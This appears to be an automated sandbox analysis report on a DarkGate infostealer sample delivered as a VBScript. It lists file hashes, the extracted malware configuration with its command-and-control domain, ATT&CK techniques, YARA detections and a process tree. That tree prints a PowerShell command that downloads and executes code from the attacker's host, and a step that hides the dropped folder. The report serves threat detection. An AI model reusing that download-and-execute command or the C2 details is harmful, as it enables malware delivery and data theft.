darkgate | f8e3299a52d2c8f45a92331bb553e80e46e63d9bac7ff6351724736f8805f6f4

Analysis

max time kernel
147s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2024, 08:03

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General

Target
cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs
Size 6KB
Sample240327-jx4bbaba5x
SHA256 cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040
MD5 2a4b987fdbd42a6a5cfbfdc334ce634f
SHA1 9964d7287bb64f36231b751eb80608176fc8b687
SHA512 4aabaf92a6bf309869ee2ab6eabb9081bb4b5fc57362d9b343fdc7e8eb010ef66512aa5e80056cdb9501f0602d413d325ccc81f1cff3ebe7756167d163d09b80
SSDEEP 192:QMg119gkCtL3IqSPN3QzGNzUoNK9V4nN9:Ly19gR3IquNgzG2oN7r
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

backupitfirst.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
SfUQxDje
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/3544-34-0x0000000004AB0000-0x0000000004B23000-memory.dmp	family_darkgate_v6
behavioral2/memory/3544-36-0x0000000004AB0000-0x0000000004B23000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	404	powershell.exe
10	404	powershell.exe
27	404	powershell.exe
29	404	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3544	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
404	powershell.exe
404	powershell.exe
404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	404	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 404	3668	WScript.exe	96
PID 3668 wrote to memory of 404	3668	WScript.exe	96
PID 404 wrote to memory of 3544	404	powershell.exe	105
PID 404 wrote to memory of 3544	404	powershell.exe	105
PID 404 wrote to memory of 3544	404	powershell.exe	105
PID 404 wrote to memory of 1704	404	powershell.exe	106
PID 404 wrote to memory of 1704	404	powershell.exe	106

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1704	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\rqzo\AutoHotkey.exe
    "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:3544
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rqzo/
    3⤵
    - Views/modifies file attributes
    PID:1704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3864 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:4196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_p22vaa0m.2af.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p22vaa0m.2af.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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AutoHotkey.exe

Path C:\rqzo\AutoHotkey.exe
Size 892KB
SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
MD5 a59a2d3e5dda7aca6ec879263aa42fd3
SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
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AutoHotkey.exe

Path C:\rqzo\AutoHotkey.exe
Size 800KB
SHA256 98fc5d128a9bec14b81d6581ddbab5a3faf15ece29f97471087ee6833162b44e
MD5 109032bc282ff50c9d0fab2ed34dc8cf
SHA1 120bc9821ebc7487a38f0192443620f812cfbcdb
SHA512 636c1fbfd25c88885541cc6d923f9a73d6a4e1bcaf06b3e5a5ebd7a4532c9e135a8ed7ce98df20e2c3571153f4331a1f2660e2bc7b8f5541ef24169a88001a49
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhi:b+tOWnEFZR0El0JEzQAhi
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script.ahk

Path C:\rqzo\script.ahk
Size 56KB
SHA256 08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6
MD5 cc881012bc30b053b9e6b763f4fff1ed
SHA1 ac366539edd526b083f630828090a519812f72f9
SHA512 3c520d67cfc7d12f96577cf29c373ebe68dafc59f68fc5dd7d6b772944dbe40a01836f51b87c83486adb751b9b293609d768d7b151614845da13e58d9c2c647d
SSDEEP 1536:+PqoAdepYrElvmyFhgPPykqJBRFJZ1q+BKDceq:TI+rElvdFyPPyh1qmKM
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test.txt

Path C:\rqzo\test.txt
Size 916KB
SHA256 89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40
MD5 5c3a3407c64b7585324a29a08005a3a8
SHA1 956a7788aa0e397e973ab5623d4aae73b1ca2658
SHA512 fe13844cff959a87523246f85cf357fd1adcdcffdc8b603f28ec26f4dcb2f26b76f243a042a7c2089776a737e3f7578214709ebc97eed7849e4c56e4825cbecb
SSDEEP 12288:vc3328od8WnlEdinOj/Rk4igmlK/RjPwr0Ilcr+XjQ7m3TBhSP8fWcfWBIarnyS5:Qfqt3N3YFJN
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memory/404-12-0x000002854A440000-0x000002854A450000-memory.dmp

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memory/404-13-0x0000028562C60000-0x0000028562E22000-memory.dmp

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memory/404-11-0x000002854A440000-0x000002854A450000-memory.dmp

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memory/404-10-0x00007FFA05710000-0x00007FFA061D1000-memory.dmp

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memory/404-31-0x00007FFA05710000-0x00007FFA061D1000-memory.dmp

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memory/404-9-0x0000028562590000-0x00000285625B2000-memory.dmp

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memory/3544-34-0x0000000004AB0000-0x0000000004B23000-memory.dmp

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memory/3544-36-0x0000000004AB0000-0x0000000004B23000-memory.dmp

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